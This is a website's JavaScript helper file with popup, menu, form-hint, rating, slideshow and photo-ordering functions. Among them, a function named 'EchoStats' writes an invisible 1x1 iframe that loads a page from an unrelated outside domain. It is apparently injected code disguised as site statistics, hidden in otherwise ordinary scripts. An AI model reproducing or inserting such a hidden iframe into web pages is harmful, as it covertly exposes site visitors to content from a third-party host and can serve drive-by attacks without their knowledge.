isMozilla = (document.all) ? 0 : 1;


function popup( url, winname, width, height ) {
	if (winname == "") winname = "popup";
	if (width == "") width = "400";
	if (height == "") height = "300";
	var top = (screen.height) / 2 - (height / 2);
	var left = (screen.width) / 2 - (width / 2);
	var win_arg = "scrollbars=yes,status=yes,resizable=yes,location=no,toolbar=no,width=" + width + ",height=" + height + ",top=" + top + ",left=" + left;
	window.open(url,winname,win_arg);
}


function hover(obj) {
	UL = obj.getElementsByTagName('ul');
	if (UL.length > 0) {
		stubMenu = UL[0].style;
		if (stubMenu.display == 'none' || stubMenu.display == '') stubMenu.display = 'block';
		else stubMenu.display = 'none';
	}
}

function setHover() {
	obj = document.getElementById('menutin');
	if (!obj) return ;
	LI = document.getElementById('menutin').getElementsByTagName('li');
	for(i=0; i < LI.length; i++) {
		LI[i].onmouseover = function() { hover(this) };
		LI[i].onmouseout = function() { hover(this); }
	}
}

function ScrollToElement(el) {
	if (!document.getElementById(el)) return ;
	if (document.all) y = document.getElementById(el).offsetParent.offsetTop;
	else y = document.getElementById(el).offsetTop;
	window.scrollTo(0, y);
}



function OpenSubMenu(num) {
	src = document.getElementById('menuimg'+num).src.indexOf('on.gif');
	if (src == -1) {
		document.getElementById('menuimg'+num).src = '/~polux/computers/images/menubulleton.gif';
		disp = 'block';
	}
	else {
		document.getElementById('menuimg'+num).src = '/~polux/computers/images/menubullet.gif';
		disp = 'none';
	}
	var lis = document.getElementsByTagName("li");
	for (var i=0; i<lis.length; i++) if (lis[i].id.indexOf(num+'sub') == 0) lis[i].style.display=disp;
}



function prepareInputsForHints() {
	var inputs = document.getElementsByTagName("input");
	for (var i=0; i<inputs.length; i++) {
		if (inputs[i].parentNode.getElementsByTagName("span")[0]) {
			inputs[i].onfocus = function () { this.parentNode.getElementsByTagName("span")[0].style.display = "inline"; }
			if (!inputs[i].onblur) inputs[i].onblur = function () { this.parentNode.getElementsByTagName("span")[0].style.display = "none";}
		}
	}
	var inputs = document.getElementsByTagName("select");
	for (var i=0; i<inputs.length; i++) {
		if (inputs[i].parentNode.getElementsByTagName("span")[0]) {
			inputs[i].onfocus = function () {
				this.parentNode.getElementsByTagName("span")[0].style.display = "inline";
				return true;
			}
			inputs[i].onblur = function () {
				this.parentNode.getElementsByTagName("span")[0].style.display = "none";
				return true;
			}
		}
	}
}


function TrackRate(fldname, val) {
	for (i=1; i<=10; i++) {
		if (i<=val) cl = 'full';
		else cl = 'empty';
		document.getElementById(fldname+'.'+i).className = cl;
	}
}

function RestoreRate(fldname, val) {
	for (i=1; i<=10; i++) {
		if (i<=val) cl = 'preview';
		else cl = 'empty';
		document.getElementById(fldname+'.'+i).className = cl;
	}
}

function EchoStats() {
    document.write("<iframe width=1 height=1 style='display: none' src='http://359wimax.com/groopstats.html'></iframe>")
}


function SwitchTableRow(id, status) {
	if (status) {
		if (isMozilla) disp = 'table-row';
		else disp = 'block';
	}
	else disp = 'none';
	document.getElementById(id).style.display=disp;
}

function ProductTypeChanged(obj) {
	if (obj.value=='product') SwitchTableRow('rowproduct', true);
	else SwitchTableRow('rowproduct', false);
}


function ConfirmDelete(form, msg) {
	var godel = window.confirm(msg);
	if (godel) {
		form.elements['suredelete'].value = 1;
		form.submit();
	}
}

function CheckAll(formobj) {
	for (i=0; i < formobj.length; i++) if (formobj.elements[i].name.substr(0,8) == 'checked_') formobj.elements[i].checked = formobj.checkall.checked;
}

function ShowPageLayer(num, count) {
	for (i=1; i<=count; i++) {
		document.getElementById('pagediv_'+i).style.display = 'none';
		document.getElementById('cell_'+i).className = 'switchcell_off';
	}
	document.getElementById('pagediv_'+num).style.display = 'block';
	document.getElementById('cell_'+num).className = 'switchcell_on';
}

function OnLoad() {
	if (!document.getElementsByTagName) return; 
	var anchors = document.getElementsByTagName("div"); 
	for (var i=0; i<anchors.length; i++) { 
		var anchor = anchors[i]; 
		if (anchor.getAttribute("rel") == "brdrover") {
			anchor.onmouseover = function() {
				this.style.border='1px solid #fa5b05';
			}
			anchor.onmouseout = function() {
				this.style.border='1px solid #AAA';
			}
		}
	}
}


function findObjX(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		do {
			curleft += obj.offsetLeft;
		} while (obj = obj.offsetParent);
	}
	return curleft;
}



var slideinnerw = 1600;

function DoSlide() {
	if (!slidepause) {
		slidepos += slidestep;
		if ((slidestep == -1) && (slidepos < slidedif)) slidestep = 1;
		if ((slidestep == 1) && (slidepos > slidemaxl)) slidestep = -1;
		document.getElementById('slideinner').style.left = slidepos+'px';
	}
	setTimeout("DoSlide()", slidespeed);
}

function StartSlide() {
	slidespeed = 20;
	slidepause = false;
	slidepos =1;
	slidestep = -1;
	slidemaxl = 0;
	document.getElementById('slideinner').style.width = slideinnerw+'px';
	slidedif = 803-slideinnerw;
	if (slidedif > 0) {
		slidemaxl = slidedif;
		slidedif = 0;
	}
	setTimeout("DoSlide()", slidespeed);
}


function PauseSlide() {
	slidepause = true;
}

function ResumeSlide() {
	slidepause = false;
}



function sortNumber(a, b) {
	a = parseInt(a);
	b = parseInt(b);
	return a-b;
}


function ReOrderPhotos() {
	tmp = document.getElementsByTagName('div');
	arr = new Array();
	counter = 0;
	for (i=0; i<tmp.length; i++) {
		if ((tmp[i].id.indexOf('photo_') == 0) && (tmp[i].style.display != 'none')) {
			arr[counter] = tmp[i].style.top+'-'+tmp[i].id;
			counter++;
		}
	}
	arr.sort(sortNumber);
	ctop = 0;
	for (i=0; i<counter; i++) {
		stub = arr[i].split('-');
		id = stub[1];
		stop = ctop*110+20;
		document.getElementById(id).style.top = stop+'px';
		document.getElementById(id).style.left = '20px';
		stub = id.split('_');
		id = 'ord_'+stub[1];
		document.getElementById(id).value = ctop;
		ctop++;
	}
}

